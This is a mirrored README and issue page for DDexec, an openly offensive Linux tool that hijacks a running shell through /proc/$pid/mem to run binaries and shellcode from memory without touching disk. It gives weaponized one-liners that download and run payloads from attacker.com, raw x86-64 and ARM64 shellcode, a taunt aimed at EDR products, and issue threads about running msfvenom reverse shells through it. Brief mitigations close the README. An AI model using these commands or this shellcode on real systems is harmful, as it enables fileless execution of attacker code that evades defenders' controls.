Giter VIP home page Giter VIP logo

ddexec's Introduction

DDexec

Context

In Linux in order to run a program it must exist as a file, it must be accessible in some way through the file system hierarchy (this is just how execve() works). This file may reside on disk or in ram (tmpfs, memfd) but you need a filepath. This has made very easy to control what is run on a Linux system, it makes easy to detect threats and attacker's tools or to prevent them from trying to execute anything of theirs at all (e. g. not allowing unprivileged users to place executable files anywhere).

But this technique is here to change all of this. If you can not start the process you want... then you hijack one already existing.

Usage

Pipe into the ddexec.sh script the base64 of the binary you want to run (without newlines). The arguments for the script are the arguments for the program (starting with argv[0]).

Here, try this:

base64 -w0 /bin/ls | bash ddexec.sh ls -lA

which is easily weaponizable with something like

wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

There is also the ddsc.sh script that allows you to run binary code directly. The following is an example of the use of a shellcode that will create a memfd (a file descriptor pointing to a file in memory) to which we can later write binaries and run them, from memory obviously.

bash ddsc.sh -x <<< "68444541444889e74831f64889f0b401b03f0f054889c7b04d0f05b0220f05" &
cd /proc/$!/fd
wget -O 4 https://attacker.com/binary.elf
./4

In ARM64 the process is similar, only the shellcode changes

bash ddsc.sh -x <<< "802888d2a088a8f2e00f1ff8e0030091210001cae82280d2010000d4c80580d2010000d4881580d2010000d4610280d2281080d2010000d4"

And yes. It works with meterpreter.

Tested Linux distributions are Debian, Alpine and Arch. Supported shells are bash, zsh and ash (busybox); on x86_64 and aarch64 (arm64) architectures.

EverythingExec

As of 12/12/2022 I have found a number of alternatives to dd, one of which, tail, is currently the default program used to lseek() through the mem file (which was the sole purpose for using dd). Said alternatives are:

tail
hexdump
cmp
xxd

Setting the variable SEEKER you may change the seeker used, e. g.:

SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)

If you find another valid seeker not implemented in the script you may still use it setting the SEEKER_ARGS variable:

SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)

Block this, EDRs.

Dependencies

This script depends on the following tools to work.

tail | dd | hexdump | any other program that allows us to seek through a fd
bash | zsh | ash (busybox)
head
tail
cut
grep
od
readlink
wc
tr
basename
base64

The technique

If you are able to modify arbitrarily the memory of a process then you can take over it. This can be used to hijack an already existing process and replace it with another program. We can achieve this either by using the ptrace() syscall (which requires you to have the ability to execute syscalls or to have gdb available on the system) or, more interestingly, writing to /proc/$pid/mem.

The file /proc/$pid/mem is a one-to-one mapping of the userland's address space of a process (e. g. from 0x0 to 0x7ffffffffffff000 in x86-64). This means that reading from or writing to this file at an offset x is the same as reading from or modifying the contents at the virtual address x.

Now, we have three basic problems to face:

  • In general, only root and the program owner of the file may modify it.
  • ASLR.
  • If we try to read or write to an address not mapped in the address space of the program we will get an I/O error.

But we have clever solutions:

  • Most shell interpreters allow the creation of file descriptors that will then be inherited by child processes. We can create a fd pointing to the mem file of the sell with write permissions... so child processes that use that fd will be able to modify the shell's memory.
  • ASLR isn't even a problem, we can check the shell's maps file from the procfs in order to gain information about the address layout of the process.
  • So we need to lseek() over the file. From the shell this can be done using a few common binaries, like tail or the infamous dd, see the EverythingExec section for more information.

In more detail

The steps are relatively easy and do not require any kind of expertise to understand them:

  • Parse the binary we want to run and the loader to find out what mappings they need. Then craft a shellcode that will perform, broadly speaking, the same steps that the kernel does upon each call to execve():
    • Create said mappings.
    • Read the binaries into them.
    • Set up permissions.
    • Finally initialize the stack with the arguments for the program and place the auxiliary vector (needed by the loader).
    • Jump into the loader and let it do the rest (load and link libraries needed by the program).
  • Obtain from the syscall file the address to which the process will return after the syscall it is currently executing.
  • Overwrite that place, which will be executable, with our shellcode (through mem we can modify unwritable pages).
  • Pass the program we want to run to the stdin of the process (will be read() by said shellcode).
  • At this point it is up to the loader to load the necessary libraries for our program and jump into it.

Oh, and all of this must be done in shell scripting, or what would be the point?

Contribute

Well, there are a couple of TODOs. Besides this, you may have noticed that I do not know much about shell scripting (I am more of a C programmer myself) and I am sure I must have won a decade worth of "useless use of a cat" awards (no cats were harmed in the making of this tool) and the rest of variants just with a fraction of this project.

  • Improve code style and performance.
  • Port to other shells.
  • Allow run the program with a non-empty environment.

Anyway, all contribution is welcome. Feel free to fork and PR.

Credit

Recently I have come to know that Sektor7 had already published this almost-exact same technique on their blog a few years ago.

Despite this, I thought this technique independently in, now almost, its entirety. Probably the smarter piece of this technique is the use of the inherited file descriptor, idea provided by David Buchanan (inspired, I think, by Sektor7's blog) almost a year before I even started thinking about this topic. This alone not only makes the technique much simpler and neat, it also makes it far deadlier by eliminating the need to disable ASLR. His tweet also made me realize how stupid I was for not noticing that mem allowed to write to non-writable pages, hence making the ROP unnecessary... This ultimately also has the desired effect of making this significantly easier to port to other ISAs.

Either way, I hope I will be able to spread this technique much further, which is what matters.

I would like to thank Carlos Polop, a great pentester and better friend, for making me think about this subject, and for his helpful feedback and interest, oh and I also owe him the name of the project. I am sure that if you are reading this you have already used his awesome tool PEASS and found helpful some article in his book HackTricks.

Now what?

You may:

  • Go distroless.
  • Use a kernel compiled without support for the mem file.
  • Detect any program opening or writing to the mem file.

Questions? Death threats?

Feel free to send me an email to [email protected] or to contact me through Twitter.

ddexec's People

Contributors

arget13 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ddexec's Issues

Problem with NO-PIE Binaries

Hello:

After testing the tool I noticed that it does not respond correctly with binaries generated by msfvenom (and probably with some others).

image

As we discussed by mail, one of the errors was due to the .bss section but after fixing that bug, it still responds incorrectly.

I am still investigating why this is happening.

Regards,
J.

Use "ld" to exec "dd" without file system's exec permission

Hi...
As described in the README.md, making dd executable only by root WILL NOT prevent this technique being executed by the filesystem: you could call "ld" before calling "dd".
Please, add $loader variable to your script to use the "ld" and "dd" together.
Thanks in advance.

Android?

Hi, can this be used on android? I'm guessing yes?...

Error with go binaries

Error trying to run go binaries.

fatal error: failed to get system page size
runtime: panic before malloc heap initialized

runtime stack:
runtime.throw({0x499fc4, 0x0})
	/usr/lib/go/src/runtime/panic.go:1198 +0x71 fp=0x7fffffffee98 sp=0x7fffffffee68 pc=0x42f991
runtime.mallocinit()
	/usr/lib/go/src/runtime/malloc.go:445 +0x2fd fp=0x7fffffffeec0 sp=0x7fffffffee98 pc=0x40a7bd
runtime.schedinit()
	/usr/lib/go/src/runtime/proc.go:689 +0x55 fp=0x7fffffffef20 sp=0x7fffffffeec0 pc=0x4331d5
runtime.rt0_go()
	/usr/lib/go/src/runtime/asm_amd64.s:212 +0x125 fp=0x7fffffffef28 sp=0x7fffffffef20 pc=0x4589a5

Probably the internal golang functions use the auxv entry AT_PAGESZ to obtain the page size.

Not working with static binaries

I was trying to run CDK tool with DDExec but it fails to get system page size.

base64 -w0 /dev/shm/cdk | bash ddexec.sh eva --full
fatal error: failed to get system page size
runtime: panic before malloc heap initialized

runtime stack:
runtime.throw(0xa4fb42, 0x1e)
        /opt/hostedtoolcache/go/1.15.15/x64/src/runtime/panic.go:1116 +0x72 fp=0x7ffda32a1ea0 sp=0x7ffda32a1e70 pc=0x435b72
runtime.mallocinit()
        /opt/hostedtoolcache/go/1.15.15/x64/src/runtime/malloc.go:438 +0x385 fp=0x7ffda32a1ec8 sp=0x7ffda32a1ea0 pc=0x40c6c5
runtime.schedinit()
        /opt/hostedtoolcache/go/1.15.15/x64/src/runtime/proc.go:563 +0x65 fp=0x7ffda32a1f20 sp=0x7ffda32a1ec8 pc=0x4394c5
runtime.rt0_go(0x7ffda32a1f4f, 0x1, 0x7ffda32a1f4f, 0x169622f6f672f3d, 0xf100000000000000, 0x7ffda32a1f, 0x0, 0x300000000000000, 0x4000000000000000, 0x400000000004000, ...)
        /opt/hostedtoolcache/go/1.15.15/x64/src/runtime/asm_amd64.s:214 +0x125 fp=0x7ffda32a1f28 sp=0x7ffda32a1f20 pc=0x4691c5

Are golang bin impossible to run with this technique ?

Problem with static binaries

Hello:

I noticed that the ddexec.sh module does not work correctly with static binaries:

Inconsistency detected by ld.so: rtld.c: 1619: dl_main: Assertion GL(dl_rtld_map).l_libname' failed!

Regards

how to work in sh?

Hello, my environment do not have bash but only sh(just like sh in ubuntu), and sh do not support command:

exec 0< <(printf $data)

It will say:Syntax error: redirection unexpected

What should I do? Thanks for your help.

Possibility to make the stack executable

Hello:

Sometimes we would like to run code on the stack. For example, a msfvenom reverse shell in C that is written and executed from the stack.

Right now the code does not support stack execution but it could be an option for the future.

Greetings.

Problem with msfvenom reverse shell shellcodes

Hello:

If I try to run a msfvenom shellcode that executes an action, it works perfectly with the ddsc.sh module.
image

But if I generate a msfvenom reverse shell shellcode, the program is not working.
image

Regards

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.